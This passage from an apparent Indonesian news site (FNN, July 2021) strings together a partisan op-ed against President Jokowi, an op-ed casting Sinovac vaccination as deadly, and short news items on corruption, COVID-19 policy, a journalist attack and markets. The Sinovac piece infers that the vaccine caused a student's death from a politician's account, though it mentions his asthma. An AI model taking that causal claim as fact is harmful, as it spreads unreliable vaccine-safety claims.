menjanjikan pertumbuhan ekonomi tujuh persen per tahun. Kenyataannya, jauh panggang dari api. Jangankan tujuh persen, angka pertumbuhan 5,20 persen saja tidak pernah tercapai. Di bidang politik pun carut-marut. Ada upaya memecah-belah partai secara terus-menerus dan sistematik. Ada yang terang-terangan mau membegal partai. Akan tetapi, upaya pembegalan yang dilakukan Kepala Staf Presiden, Moeldoko gagal total. Presiden Joko Widodo masih terlihat asyik blusukan dengan gelar, "Petugas Partai." Terakhir ia mendatangi sebuah apotik di Bogor menanyakan dua obat dan vitamin yang ternyata sudah kosong. Padahal, sejumlah obat-obatan (tidak hanya yang digunakan untuk pasien Covid-19) sudah banyak dan sudah lama kosong. Rakyat sudan teriak obat-obatan kosong. Blusukan yang dilakukan Jokowi itu menjadi bahan olok-olokan rakyat. Kelihatannya, karena petugas partai, ia masih lebih asyik dan suka blusukan serta pencitraan. Padahal, ia sudah menjadi Presiden Republik Indonesia yang mestinya merangkul anak-anak bangsa. Persoalan bangsa ini tidak akan bisa diselesaikan dengan baik jika masing-masing elite menonjolkan egonya masing-masing. Butuh kenegarawanan. Butuh contoh nyata dari para elite, khususnya elite yang sedang memegang kekuasaan, terutama Jokowi. Jika masih lebih asyik blusukan, pencitraan dan memarahi menterinya sendiri, Jokowi lebih baik berhenti. Wibawanya sudah tidak ada di mata para menterinya yang sering dimarahi. Apalagi di mata rakyat, Jokowi sudah tidak berguna. Tanpa kesadaran bersama, tanpa keinginan bersama, kehidupan berbangsa dan bernegara kian hari semakin carut-marut. Dikhawatirkan, terjadi tsunami yang menghancurkan sendi-sendi berbangsa dan bertanah air. **

Banyak Makan Korban, Sinovac Tetap Dilanjutkan?

Oleh : Mochamad Toha Apakah Anda masih menganggap Vaksin Sinovac baik-baik dan aman? Cobalah tengok yang terjadi di Kota Medan belum lama ini. Seorang mahasiswa di Medan bernana Erwin Perdana Nasution (EPN, 21 tahun) telah meninggal dunia usia divaksin Sinovac. Tak hanya itu. Omnya juga dikabarkan koma setelah mendapat vaksinasi Covid-19 tersebut. Sehari sebelum meninggal dunia, mahasiswa Universitas Medan (Unimed) itu sempat alami demam tinggi. Keduanya adalah warga Jalan Karya Setia, Kelurahan Sei Agul, Kecamatan Medan Barat. Kabar ini diungkapkan oleh Wakil Ketua DPRD Medan H Rajudin Sagala, yang tak segan-segan membeberkan kronologinya. Menurut Rajudin, EPN bersama empat orang keluarganya pergi untuk ikut vaksin di daerah Medan Belawan. “Mereka ada 5 orang, sekali vaksin serentak sekeluarga, termasuk omnya di Belawan juga,” jelasnya pada Jumat, 23 Juli 2021, seperti dilansir Tribunnews.com. Rajudin menerangkan bahwa paman korban juga sama-sama vaksin di lokasi itu dan diinformasikan koma tak sadarkan diri hingga berhari-hari (sampai hari ini). “Dia sama pamannya divaksin. Pamannya tidak sadarkan diri hingga hari ini,” katanya. Menurut Rajudin, vaksin tersebut berjenis Sinovac, tapi ia belum mengetahui pasti lokasi tempat vaksinasi yang didatangi keduanya. “Sama vaksinnya dengan Erwin Perdana Nasution ini, vaksin Sinovac. Itu tidak dapat info dari Puskesmas atau di mana. Mungkin nanti malam saya dapat info,” lanjut Rajudin. Rajudin menjelaskan, ia mendapatkan informasi tersebut dari keluarga di mana awalnya sang anak hendak Praktik Kerja Lapangan (PKL). Dari pihak Unimed yang mengharuskan mahasiswa untuk melampirkan surat sertifikat vaksin Covid-19 sebagai persyaratan. Karena PKL, maka EPN wajib melampirkan sertifikat vaksin. Tempat PKL-nya tak boleh diberitahukan karena pihak kampus yang beritahu bahwa mahasiswa yang mau PKL wajib divaksin dan melampirkan sertifikat. Melihat persyaratan tersebut, selanjutnya EPN mencari lokasi yang menyediakan vaksin dan menemukannya di daerah Medan Belawan pada sekitar 12 hari lalu. “Makanya dia cari daerah mana yang ada vaksin, dapat di Belawan di mana dengan syarat PKL wajib melampirkan sertifikat vaksin. Kira-kira 12 hari yang lalu,” ungkap Rajudin. Namun, setelah divaksin, kondisi EPN justru memburuk hingga mengalami demam tinggi yang membuat pihak keluarga membawanya ke Rumah Sakit Imelda Medan. Kabarnya, EPN memang memiliki riwayat sakit asma hingga infeksi paru. “Info dari kakaknya, begitu divaksin di Belawan, EPN pulang ke rumah. Kemudian begitu divaksin hari ini, besok udah langsung demam tinggi. Kemudian dia tidak keluar selama tiga hari. Kemudian dirawat di RS Imelda,” ungkap Rajudin. Setelah beberapa hari dirawat, Rabu, 21 Juli 2021, EPN akhirnya mengembuskan nafas terakhir. “Meninggalnya hari Rabu sore, sempat dirawat di RS Imelda sampai beberapa hari di situ kemudian setelah itu dia meninggal,” lanjutnya. Kasus Covid-19 sedang melonjak tinggi di Indonesia. Kekhawatiran pun muncul jika kondisi tsunami Covid-19 di India bisa benar-benar terjadi. Masalah lain muncul dari vaksin Sinovac sebab ratusan tenaga kesehatan tetap terinfeksi corona. Seperti dilaporkan ABC Australia, Kamis (8/7/2021), dokter spesialis paru Erlina Burhan bercerita, 200 tenaga kesehatannya tertular virus corona meski sudah divaksinasi beberapa bulan yang lalu. “Gila ini, gila sekali. Pasien bertambah tapi kekurangan pekerja,” ujar Erlina. Menurut data Asosiasi Rumah Sakit Indonesia, sekitar 95 persen tenaga kesehatan di Indonesia sudah menerima dua dosis vaksin Sinovac. Menurut catatan Lapor Covid-19, dari bulan Juni, 131 tenaga kesehatan, yang kebanyakan menerima vaksin Sinovac, telah meninggal dunia. Sebanyak 50 tenaga kesehatan meninggal dunia pada Juli 2021. Ketua Uji Klinis Vaksin Covid-19 Sinovac dari Biofarma, DR. Novilia Sjafri Bachtiar, juga tutup usia karena Covid-19. Novilia juga akademisi di Universitas Padjajaran, Bandung. “Beliau adalah salah seorang pejuang kesehatan yang sangat berjasa dalam mengatasi pandemi ini, terutama dalam hal uji klinis vaksin," ucap Kepala Kantor Komunikasi Publik Unpad Dandi Supriadi seperti dikutip Antara. Kebanyakan tenaga kesehatan yang terpapar Covid-19 hanya menunjukkan gejala ringan. Tapi, survei yang dilakukan Reuters pada dokter, direktur rumah sakit, dan kepala industri kesehatan di Pulau Jawa menemukan ribuan nakes terpaksa melakukan isolasi mandiri. Kementerian Kesehatan sendiri enggan memberikan tanggapan ketika dimintai komentar soal banyaknya tenaga kesehatan yang tertular virus corona. Beberapa pratiksi kesehatan kini mempertanyakan kemanjuran vaksin Sinovac ini, walau Pemerintah Indonesia menyalahkan varian Delta, bukan vaksinnya. Lia Partakusuma, sekretaris jendral Asosiasi Rumah Sakit Indonesia mengatakan, ia telah melakukan survei di rumah sakit umum di kota-kota besar Jawa. Pihak rumah sakit juga menyebut 10 persen nakes mereka positif Covid-19. Para nakes harus mengisolasi diri selama dua minggu, meski petugas lainnya mengatakan kebanyakan di antaranya harus kembali bekerja setelah lima hari, karena sangat diperlukan di rumah sakit. Jumlah kematian dan penularan Covid-19 juga terus bertambah di kalangan nakes saat ini yang menjadi masa terburuk sejak awal pandemi. ARSI juga mengatakan jumlah penderita COVID-19 yang harus dirawat di rumah sakit sudah bertambah “tiga hingga empat kali lipat”. Kritikan dari para pakar kesehatan tersebut menyebutkan, jumlah tes yang sedikit tidak mencerminkan masifnya wabah ini. Pakar kesehatan khawatir situasinya akan terus memburuk, hingga mengatakan, Indonesia ini bisa “menjadi seperti India”, yang jumlah kasus Covid-nya yang terus bertambah sampai menyebabkan sistem kesehatan kolaps bulan April dan Mei 2021 lalu. Tapi sistem kesehatan Indonesia jauh lebih tidak siap dari India dalam menangani krisis seperti ini. Organisasi Kerja sama dan Pembangunan Ekonomi di Australia mengatakan, Indonesia memiliki 0,4 dokter per 1.000 orang. Jumlah ini adalah yang terendah kelima di Asia Tenggara, dan kurang dari setengah yang dimiliki India. Karena kekurangan nakes, rumah sakit terpaksa memakai tenaga apoteker, radiografer, dan mahasiswa kedokteran sukarela yang dibayar seadanya. Salah satu kepala rumah sakit yang tak ingin disebutkan namanya mengatakan perawatan pasien Covid-19 tersebut memerlukan keterampilan yang kadang tidak dimiliki mahasiswa atau sukarelawan. “Masalahnya adalah sumber daya manusia. Bahkan, jika kita bisa menambah ruang, siapa yang bisa mengurus pasien?" ujar ahli saraf Eka Julianta Wahjoepramono. “Tidak ada. Itu masalahnya.” Selama ini, Indonesia sangat bergantung pada vaksin Sinovac karena perusahaan China itu merupakan satu-satunya perusahaan obat yang bisa menjual dosis dalam jumlah besar dalam waktu singkat. Sejak Februari dan Maret 2021 lalu, kebanyakan nakes di Indonesia sudah divaksinasi, sekaligus menjadi studi kasus tingkat efikasi vaksin tersebut. Awalnya, program inokulasi Sinovac telah menurunkan angka kematian akibat Covid-19 secara signifikan. Bulan Januari lalu, sebanyak 158 dokter meninggal akibat gangguan pernapasan, namun pada Mei, jumlahnya turun ke angka 13. Sejak Juni, setidaknya 30 dokter sudah meninggal dunia, menurut data Ikatan Dokter Indonesia. Eka, yang sudah divaksinasi dua kali menggunakan Sinovac, harus dirawat di rumah sakit karena menderita gejala parah Covid-19 bulan lalu. “Banyak rekan saya antibodinya tidak meningkat signifikan setelah divaksinasi Sinovac,” katanya. Ini berarti mereka tidak memiliki perlindungan penuh terhadap virus. Menteri Kesehatan Budi Gunadi Sadikin juga membela Sinovac. “Masalah yang kita hadapi saat ini bukan tentang efektivitas vaksin, tapi karena varian Delta,” katanya. Ikatan Dokter Indonesia mendorong pemerintah untuk memberikan dosis ketiga vaksin pada nakes secepatnya. Beberapa dokter terbang ke Amerika Serikat agar disuntik vaksin lain. “Namun, ongkos perjalanan ini terlalu mahal,” kata dr. Berlian Idriansyah Idris. “Kami tidak bisa melakukan isolasi mandiri dan kerja dari rumah, demi Tuhan. Tidak bisa sekarang. Dosis ketiga vaksin akan memberikan perlindungan yang kami butuhkan,” lanjut Dokter Berlian. Penulis adalah Wartawan FNN.co.id

Kemenkop dan KPPU Perpanjang Nota Kesepahaman Pengawasan Kemitraan

Jakarta, FNN - Kementerian Koperasi dan Unit Usaha Kecil dan Menengah (KemenkopUKM) dengan Komisi Pengawas Persaingan Usaha (KPPU) menandatangani nota kesepahaman tentang Koordinasi Pelaksanaan Tugas dan Wewenang di Bidang Pengawasan Kemitraan. “KPPU menyadari dalam pelaksanaan tugas kemitraan antara pelaku usaha besar dengan pelaku UMKM, kami tidak dapat bekerja sendiri. Itulah sebabnya hari ini kami melakukan permintaan kepada bapak Menteri Koperasi dan UKM (Teten Masduki) untuk perpanjangan nota kesepahaman yang sebelumnya telah terjalin sejak 2016,” ujar Ketua Umum KPPU Kodrat Wibowo di Jakarta, Senin. Sejak terjalin dari tahun 2016, ujar dia, belum banyak implementasi program kerja maupun kegiatan kerjasama yang dilaksanakan. Namun, dikatakan terdapat beberapa yang telah terimplementasi seperti kegiatan pertukaran informasi dan data, diskusi koordinasi terkait pengawasan kemitraan, serta KPPU dan KemenkopUKM menjadi motor dan inisiator pembentukan satuan-satuan tugas kemitraan dengan pemerintah daerah dalam beberapa komoditas. Utamanya dalam komoditas pangan dan ternak. “Melalui nota kesepahaman ini, kami berharap ke depannya kerja sama dan kolaborasi antara KPPU dengan Kemenkop dapat berjalan lebih intens, lebih dekat lagi, khususnya dalam upaya mengkoordinasikan segala upaya kemitraan kami di berbagai sektor, baik di tingkat pusat juga daerah," sebut Kodrat. Menteri KemenkopUKM Teten Masduki menambahkan bahwa sejak Juli hingga Desember 2020, banyak survei yang menyatakan sektor yang paling berdampak pada UMKM itu pada bidang makanan dan minuman serta transportasi dan parawisata. Hal itu, ujar Teten Masduki, terjadi karena adanya perubahan pola konsumsi dan pola bekerja yang kini di dalam rumah. Karena itu, jelas dia, perlu dilakukan kolaborasi dengan berbagai pihak untuk melahirkan upaya yang luar biasa dalam menciptakan iklim usaha UMKM di tengah keterbatasan aktivitas saat ini. Sebagai informasi, ruang lingkup nota kesepahaman ini melingkupi pembentukan satuan tugas, pertukaran data dan informasi, bantuan ahli atau narasumber, koordinasi, advokasi, sosialisasi, serta kegiatan lain yang disepakati oleh kedua belah pihak. (mth)

Firli Pastikan KPK Tak Pandang Bulu Usut Kasus Korupsi Tanah di Munjul

Jakarta, FNN - Ketua Komisi Pemberantasan Korupsi (KPK) Firli Bahuri memastikan lembaganya tidak pandang bulu dalam mengusut kasus dugaan korupsi pengadaan tanah di Munjul, Jakarta Timur, DKI Jakarta Tahun 2019. "KPK masih terus bekerja untuk menyelesaikan pemeriksaan atas tersangka RHI (Rudy Hartono Iskandar) dan para pihak-pihak yang diduga terlibat. KPK tidak pernah ragu dan pandang bulu untuk menyelesaikan perkara korupsi, siapapun, dan apapun status jabatan seseorang," ucap Firli dalam keterangannya di Jakarta, Senin. Kendati demikian, kata dia, lembaganya tetap berpegang pada prinsip kecukupan bukti dalam menangani kasus tersebut. "KPK memahami keinginan dan harapan masyarakat agar ada penuntasan perkara-perkara korupsi sampai ke akar-akarnya termasuk kasus korupsi di lingkungan Pemprov DKI Jakarta," katanya. Sementara saat dikonfirmasi apakah lembaganya sudah menentukan waktu pemanggilan Gubernur DKI Jakarta Anies Baswedan untuk dimintai keterangan terkait kasus itu, Firli mengatakan bahwa hal tersebut tergantung dari kepentingan penyidikan. "Langkah pemanggilan tentu dilakukan dengan mempertimbangkan kepentingan penyidikan, melengkapi alat bukti atau memberi keterangan sebagai saksi berkaitan tersangka sebelumnya ataupun bisa ditemukan potensi pengembangan baru dari kasus tersebut," ujar Firli. Ia menyatakan KPK memang akan menjadwalkan untuk memanggil para pihak yang terkait kasus tersebut. "Beri waktu KPK untuk bekerja, pada saatnya KPK akan menyampaikan kepada publik secepatnya, mungkin minggu ini atau minggu depan. Semua sangat bergantung pada proses yang berlangsung tetapi KPK terus melakukan yang terbaik," kata Firli. Pada prinsipnya, kata dia, demi kepentingan penegakan hukum dan pemberantasan korupsi dengan kebutuhan yang benar di mata hukum dan memiliki relasi yang jelas dengan suatu kasus, siapapun bisa dipanggil tanpa terkecuali. Sebelumnya, Firli mengatakan keterangan Gubernur DKI Jakarta dan DPRD DKI Jakarta diperlukan dalam kasus dugaan korupsi pengadaan tanah di Munjul. "Terkait program pengadaan lahan, tentu dalam penyusunan program anggaran APBD DKI tentu Gubernur DKI sangat memahami. Begitu juga dengan DPRD DKI yang memiliki tugas kewenangan menetapkan RAPBD menjadi APBD bersama Pemda DKI mestinya tahu akan alokasi anggaran pengadaan lahan DKI. Jadi, tentu perlu dimintai keterangan sehingga menjadi terang benderang," kata Firli dalam keterangannya di Jakarta, Senin (12/7). KPK total menetapkan lima tersangka terkait kasus itu, yakni mantan Dirut Perumda Pembangunan Sarana Jaya Yoory Corneles Pinontoan (YRC), Direktur PT Adonara Propertindo Tommy Adrian (TA), Wakil Direktur PT Adonara Propertindo Anja Runtuwene (AR), Direktur PT Aldira Berkah Abadi Makmur (ABAM) Rudy Hartono Iskandar (RHI), dan satu tersangka korporasi PT Adonara Propertindo. KPK menduga ada kerugian keuangan negara setidak-tidaknya Rp152,5 miliar. (mth)

Sebanyak 63.000 Prajurit TNI Dikerahkan Jadi "Tracer" Kontak Erat COVID-19

Jakarta, FNN - Sebanyak 63.000 prajurit TNI dikerahkan menjadi tenaga pelacak (tracer) orang-orang yang kontak erat dengan pasien COVID-19, kata Panglima Tentara Nasional Indonesia Marsekal TNI Hadi Tjahjanto saat jumpa pers di Jakarta, Senin. Pengerahan itu merupakan upaya TNI membantu pemerintah meningkatkan rasio tracing (pelacakan) sehingga penyebaran COVID-19 dapat cepat terkendali, terang Hadi. Setidaknya ada dua cara pelacakan yang akan ditempuh TNI dalam melacak mereka yang kontak erat dengan pasien COVID-19, yaitu cara manual dan digital. Pelacakan secara digital akan jadi langkah pertama yang dilakukan para tracer dari TNI. Para prajurit yang bertugas sebagai tracer nantinya akan menerima pemberitahuan/notifikasi dari Dinas Kesehatan di masing-masing wilayah, kemudian petugas akan menghubungi dan mewawancarai warga lewat aplikasi pengirim pesan Whatsapp atau telepon. Namun, jika cara digital itu tidak dapat dilakukan, maka para tracer yang di antara merupakan anggota Bintara Pembina Desa (Babinsa) dan Bhayangkara Pembina Keamanan dan Ketertiban Masyarakat (Babinkamtibmas), akan langsung mendatangi rumah-rumah warga yang dicurigai sebagai kontak erat pasien COVID-19 dan melakukan wawancara. Nantinya setelah wawancara, para anggota tracer akan melapor ke Puskesmas di tingkat desa. Laporan itu diteruskan ke Dinas Kesehatan di tiap kabupaten/kota dan provinsi, kemudian ke tingkat pusat agar dapat masuk ke laporan nasional, terang Panglima TNI. Terkait dengan pelaksanaan tracing secara digital, Panglima TNI menyampaikan anggotanya telah mendapatkan pelatihan secara virtual. Dalam pelatihan itu, para anggota TNI mempelajari cara kerja aplikasi Silacak yang dikelola oleh Kementerian Kesehatan RI. Di samping pelatihan, TNI juga telah menggelar simulasi pelacakan kontak erat pasien COVID-19 secara digital. Tidak hanya anggota TNI, Badan Nasional Penanggulangan Bencana (BNPB) juga mengerahkan 7.000 tracer tambahan. Panglima menyampaikan pengerahan total puluhan ribu tenaga tracing itu merupakan bagian dari penerapan konsep perang semesta melawan pandemi COVID-19. “Kalau kita samakan dengan konsep perang semesta, BNPB ini dari komponen masyarakat yang diperbantukan secara total. Saya yakin dengan konsep semesta ini, keinginan kita semua menekan kasus aktif bisa terealisasi sampai ke angka paling rendah,” sebut Panglima TNI. Dalam kesempatan yang sama, Panglima kembali mengimbau masyarakat untuk tetap menerapkan protokol kesehatan seperti salah satunya memakai masker. “Walaupun kita sudah divaksin baik yang pertama maupun kedua, saya hadap masyarakat terus semangat menggunakan masker. Ingat, masker akan melindungi kita dari paparan COVID-19,” kata Panglima. (mth)

DPRD Kalsel Imbau Masyarakat Tingkatkan Protokol Kesehatan Jadi 10M

Banjarmasin, FNN - Anggota DPRD Kalimantan Selatan Athaillah Hasbi mengimbau masyarakat dalam menghadapi Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) perlu meningkatkan protokol kesehatan (prokes) dari 5M menjadi 10M. "Apalagi pemerintah daerah menyatakan PPKM level IV," katanya sebelum rapat paripurna DPRD Kalsel di Banjarmasin, Senin. Kalau selama ini penekanannya pada memakai masker, mencuci tangan dengan sabun, menjaga jarak, menghindari kerumunan dan mengurangi mobilitas (5M), tambah lagi lima, sehingga menjadi 10M. Menurut dia, tambahan 5M tersebut, adalah mengganti baju, meningkatkan imun, menjaga sirkulasi udara, membersihkan lingkungan, dan makan makanan bergizi. "Jika kita disiplin menerapkan 10M, insya Allah PPKM level IV atau penyebaran COVID-19 akan benar-benar berhenti, dan kita bebas dari pandemi COVID-19 secepatnya pula. Semoga," ucapnya. Ia mengharapkan semua lapisan masyarakat untuk sabar dan tabah menghadapi PPKM level IV, serta disiplin mematuhi prokes dan ketetapan/petunjuk pemerintah. Ia meminta semua lapisan masyarakat dan Forum Koordinasi Pimpinan Daerah (Forkopimda) terutama yang berada pada PPKM level IV, seperti Banjarmasin dan Banjarbaru agar lebih bersatu dan tidak terpecah-pecah sampai kecamatan hingga kelurahan dan desa. "Insya Allah dengan visi yang sama untuk menurunkan laju pertumbuhan dan perkembangan kasus COVID-19 akan tercapai, yaitu target memutus mata rantai penyebaran virus yang membahayakan jiwa manusia tersebut," lanjutnya. Ia menekankan agar masyarakat terutama yang berada pada PPKM level IV mengikuti prokes dengan disiplin. "Karena kedisiplinan mematuhi prokes akan mendukung suksesnya PPKM, dan kita bisa terbebas dari bayang-bayang atau ancaman COVID-19, serta kehidupan yang normal kembali," tuturnya. (mth)

Kekerasan Kembali Menimpa Wartawan di Medan

Jakarta, FNN – Kekerasan kembali menimpa wartawan di Sumatera Utara. Masih segar dalam ingatan tentang pembunuhan terhadap wartawan online Marasalem Harahap, kini kekerasan terjadi lagi terhadap Persada Bhayangkara Sembiring. Ia disiram dengan air keras, sehingga mengalami luka serius. Berkaitan dengan aksi kekerasan itu Ketua Persatuan Wartawan Indonesia (PWI) Sumut, Hermansjah mengeluarkan kecaman. Ia mengecam tindak kekerasan yang kembali terjadi terhadap wartawan yang bertugas di lingkungan Kota Medan khususnya dan Sumatera Utara umumnya. Menurut Hermansjah, kekerasan terhadap insan pers terjadi karena masih ada kelompok masyarakat tertentu yang tidak meninginkan kegiatannya diberitakan oleh media. Kekerasan yang dialami Sembiring diduga karena ada pihak yang tidak senang atau tidak suka dengan kegiatannya yang gencar memberitakan tentang perjudian di Sumut. Padahal, profesi wartawan dilindungi negara melalui UU No. 40 Tahun 1999 tentang Pers. Negara menjamin kebebasan pers serta melindungi profesi dan wartawan saat menjalankan tugas jurnalistiknya di lapangan. Semua pihak, terutama aparat keamanan harus memahami betul tugas-tugas yang diemban oleh wartawan sebagaimana diatur dalam undang-undang tersebut. Oleh karena itu, PWI Sumut meminta kepolisian mengusut tuntas dan menyeret pelaku penyiraman air keras terhadap wartawan itu. Selain itu, aparat penegak hukum, khususnya polisi agar menggulung mafia perjudian yang diduga sebagai dalang tindak kekerasan terhadap wartawan di Sumatera Utara. “Terkait hal ini, PWI juga akan melakukan investigasi lebih lanjut terhadap korban dan peristiwa yang dialaminya, “ ujar Hermansjah dalam siaran pers yang diterima FNN.co.id. Hermansjah masih mencari data terkait wartawan bersangkutan, apakah tergabung dalam satu wadah organisasi kewartawanan di Sumut, khususnya PWI Sumatera Utara. PWI Sumut telah menugaskan kepada Wakil Kepala Bidang Hukum Wilfried Sinaga agar menindaklanjutinya. Tentu harus tetap berkoordinasi dengan aparat keamanan setempat. Hermansjah mengimbau agar wartawan di Sumut lebih berhati-hati dalam menjalankan tugasnya. Para wartawan diharapkan tetap mengutamakan keselamatan jiwanya ketimbang memperoleh berita ekslusif yang risikonya mengancam jiwa wartawan yang berangkutan. “Apa pun beritanya, wartawan harus mengutamakan keselamatan jiwanya,” kata Hermansjah yang juga Pemred/Penanggungjawab media Analisadaily.com Medan. Selain itu wartawan juga harus tetap memedomani Kode Etik Jurnalisitik (KEJ) atau KEWI (Kode Etik Wartawan Indonesia) bagi yang non PWI. Karena tuntunan KEJ sebagai salah satu ciri wartawan profesional dalam menjalankan tugasnya di lapangan. Sebagaimana diberitakan, kekerasan terhadap Persada Bhayangkara Sembiring terjadi pada Minggu (25/7/2021) malam sekitar pukul 22.00. Peristiwa tersebut terjadi di Simpang Selayang, Kota Medan. Peristiwanya sudah ditangani polisi setempat. Korbannya dibawa ke Rumah Sakit Adam Malik guna mendapatkan perawatan. (SP).

FTSE 100 Jatuh Karena Pelemahan Saham Energi dan Perbankan

Jakarta, FNN - Saham perbankan dan energi menyeret Indeks FTSE 100 London lebih rendah pada awal perdagangan hari Senin, dengan kekhawatiran tentang kenaikan inflasi dan lonjakan infeksi COVID-19 lokal semakin melemahkan sentimen. Indeks acuan FTSE 100 turun 0,4 persen, dengan saham bank dan energi jatuh paling besar. HSBC Holdings dan Barclays termasuk di antara pecundang teratas. Mereka mengikuti penurunan imbal hasil obligasi acuan, yang jatuh ke level terendah sejak Februari. Indeks saham kapitalisasi menengah FTSE 250 yang fokus domestik turun 0,3 persen. Saham Ryanair yang terdaftar di London melonjak 2,6 persen setelah mendorong perkiraan untuk lalu lintas setahun penuh pada pemesanan musim panas yang kuat. Tetapi juga mengatakan tarif tetap jauh di bawah tingkat pra-pandemi sambil melaporkan kerugian setelah pajak sebesar 273 juta euro (321,5 juta juta dolar AS). Perusahaan pembiayaan Coast Capital menuntut pengunduran diri kepala eksekutif perusahaan transportasi FirstGroup dan dua anggota dewan lainnya, menarik saham perusahaan itu turun 0,9 persen setelah penjualan aset yang kontroversial, memperdalam keretakan antara perusahaan transportasi Inggris itu dengan pemegang saham terbesarnya. (mth)

Mensos Gandeng BI dan Fintech Luncurkan Aplikasi untuk Bansos

Jakarta, FNN - Menteri Sosial Tri Rismaharini mengatakan akan menggandeng Bank Indonesia, Otoritas Jasa Keuangan dan perusahaan finansial berbasis teknologi (fintech) untuk membuat aplikasi terkait penyaluran bantuan sosial, guna mencegah terjadinya korupsi dan tindakan penyimpangan lainnya. “Mungkin teman-teman menanyakan bagaimana kasus kemarin, kami akan memperbaikinya. Kami sudah siapkan software, kami dibantu BI dan pengawasan OJK, dan teman-teman muda di fintech, e-commerce (niaga daring) untuk menggunakan aplikasi. Jadi nanti belanja bisa dimana saja, bukan di e-waroeng saja,” kata Risma dalam konferensi pers dari Kantor Presiden, Jakarta, Senin. Risma mengatakan kerja sama peluncuran aplikasi tersebut merupakan satu dari sekian banyak upayanya untuk mencegah terjadinya tidak pidana korupsi bansos. Peluncuran aplikasi tersebut rencananya akan digelar pada 17 Agustus 2021. “Kami sudah siapkan. Mudah-mudahan kita bisa launching 17 Agustus,” ujarnya. Ia menjelaskan teknologi di aplikasi tersebut akan fleksibel dan menyesuaikan dengan kondisi penerima bansos. Aplikasi tersebut juga bisa disinkronkan dengan berbagai platform sehingga akan mudah digunakan. “Jadi nanti belanja bisa dimana saja, bukan di e-warung saja, tapi bisa di mana saja menggunakan fitur itu. Bagaimana dengan kondisi di tempat lain? Nanti akan kami sesuaikan, karena kami punya cara untuk mengondisikan bagaimana nanti, meskipun HP-nya masih zadul (zaman dulu),” ujarnya. Aplikasi tersebut juga akan mencegah penyalahgunaan bansos oleh penerima, misalnya menggunakan bansos untuk membeli rokok atau minuman keras. “Kami akan cut, jadi sesuai perintah Presiden agar tidak ada belanja rokok, tidak ada belanja untuk miras. Maka dengan dengan fitur itu, kami bisa membatasi untuk belanja, karena tidak bisa belanja, jika pembayarannya digunakan untuk membeli miras atau rokok,” ujarnya. (mth)

KPSI Dorong Kriteria Penerima BSU Diperluas

Jakarta, FNN - Presiden Konfederasi Serikat Pekerja Indonesia (KSPI) Said Iqbal menyampaikan apresiasinya atas Bantuan Subsidi Upah (BSU) yang akan diberikan pemerintah kepada pekerja terdampak COVID-19 dan mendorong cakupan kriterianya diperluas untuk menjangkau lebih banyak orang. "Kita setuju bantuan subsidi upah, tapi kriterianya harus diperbaiki. Kriteria tentang penerima BSU itu harus diperbaiki," ujar Said Iqbal dalam konferensi pers terkait kondisi pekerja saat PPKM, dipantau dari Jakarta, Senin. Sebelumnya pemerintah mengumumkan akan memberikan subsidi upah kepada pekerja terdampak COVID-19 dengan kriteria pekerja calon penerima BSU berada di Zona PPKM Level 4, peserta yang membayar iuran yang dihitung berdasarkan upah di bawah Rp3,5 juta sesuai upah terakhir yang dilaporkan kepada BPJS Ketenagakerjaan dan masuk dalam sektor terdampak PPKM, seperti industri barang konsumsi, transportasi, perdagangan, dan jasa. Masing-masing pekerja yang memenuhi syarat itu akan mendapatkan bantuan Rp1 juta untuk dua bulan atau Rp500.000 per bulan, yang langsung diberikan sekaligus melalui transfer bank. Pemerintah memperkirakan terdapat sekitar 8 juta orang penerima BSU 2021, menggunakan data dari BPJS Ketenagakerjaan. Namun, Said mengatakan bahwa beberapa daerah yang menjalankan PPKM Level 4 memiliki upah minimum di atas Rp3,5 juta dengan banyak pekerjanya juga terdampak pandemi, baik mengalami pemotongan upah atau dirumahkan. Karena itu, dia mendorong agar penyaluran itu lebih tepat sasaran, menyasar pekerja yang dirumahkan dan mengalami pengurangan gaji hingga berada di bawah Rp3,5 juta meski upah sebelum dipotong berada di atas angka tersebut. Dia juga mendorong agar penyaluran dapat dilakukan dengan cepat mengingat PPKM Level 4 akan berlangsung sampai dengan 4 Agustus 2021, jika tidak diperpanjang kembali. (mth)

Pemprov Jatim Buka Depo Isi Ulang Oksigen Gratis di Malang

Malang, FNN - Pemerintah Provinsi Jawa Timur membuka depo pengisian oksigen di halaman Kantor Badan Koordinasi Wilayah Pemerintah dan Pembangunan (Bakorwil) III Malang, Kota Malang dan digratiskan bagi warga yang membutuhkan. Gubernur Jawa Timur Khofifah Indar Parawansa, di Kota Malang, Senin mengatakan bahwa depo pengisian oksigen gratis tersebut bisa dimanfaatkan oleh pasien positif COVID-19 yang menjalani isolasi mandiri maupun isolasi terpusat. "Untuk pasien yang melakukan isolasi terpusat, belum tentu mereka punya silinder atau tabung oksigen. Pada dasarnya, kami punya stok dan mencukupi. Hanya model distribusinya yang harus kita siapkan," katanya. Khofifah menjelaskan, stok oksigen untuk memenuhi kebutuhan para pasien terkonfirmasi positif COVID-19, kini dalam keadaan aman. Namun, ia mengakui bahwa untuk memenuhi kebutuhan pasien, harus saling proaktif. Menurutnya, untuk kedepannya, Pemerintah Provinsi Jawa Timur juga berencana menambah depo pengisian oksigen gratis di wilayah lain. Hal tersebut bertujuan untuk memberikan suplai bagi masyarakat yang membutuhkan. "Kami masih memiliki stok yang cukup besar untuk didistribusikan secara gratis kepada masyarakat. Untuk di tempat lain, selama ada operatornya, kami akan menyiapkan tempat isi ulang gratis di banyak tempat lagi," ujarnya. Khofifah menambahkan, Pemerintah Provinsi Jawa Timur juga berencana mendatangkan Iso Tank ke depo pengisian oksigen gratis di Malang. Iso Tank merupakan kontainer berbentuk tangki yang memiliki ukuran tertentu dan dipergunakan untuk memuat kargo cair dan gas. "Jadi, jika ada iso tank 20 ton, yang diisi bukan hanya yang satu meter kubik saja, tapi, enam meter kubik juga bisa. Ada tiga iso tank yang akan didatangkan," katanya. Dengan adanya iso tank tersebut, lanjutnya, juga diharapkan bisa membantu rumah sakit yang ada di wilayah Malang Raya yang membutuhkan pasokan oksigen. Kebutuhan oksigen untuk rumah sakit, mayoritas menggunakan tabung ukuran besar. "Untuk silinder enam meter kubik, ini untuk layanan rumah sakit, silahkan. Saya rasa kami juga bisa tempatkan di sini untuk (iso tank) 20 ton," kata Khofifah. Khofifah meminta pemerintah daerah di wilayah Jawa Timur untuk terus meningkatkan koordinasi dengan rumah sakit guna pemenuhan kebutuhan oksigen. Hal tersebut dikarenakan armada yang dimiliki rumah sakit terbatas. "Jadi jangan menunggu oksigen habis baru berkomunikasi, hari ini harus sama-sama proaktif. Saya rasa, ini bagian dari yang bisa kita lakukan, bagaimana memberikan layanan terbaik bagi warga," katanya. Depo pengisian 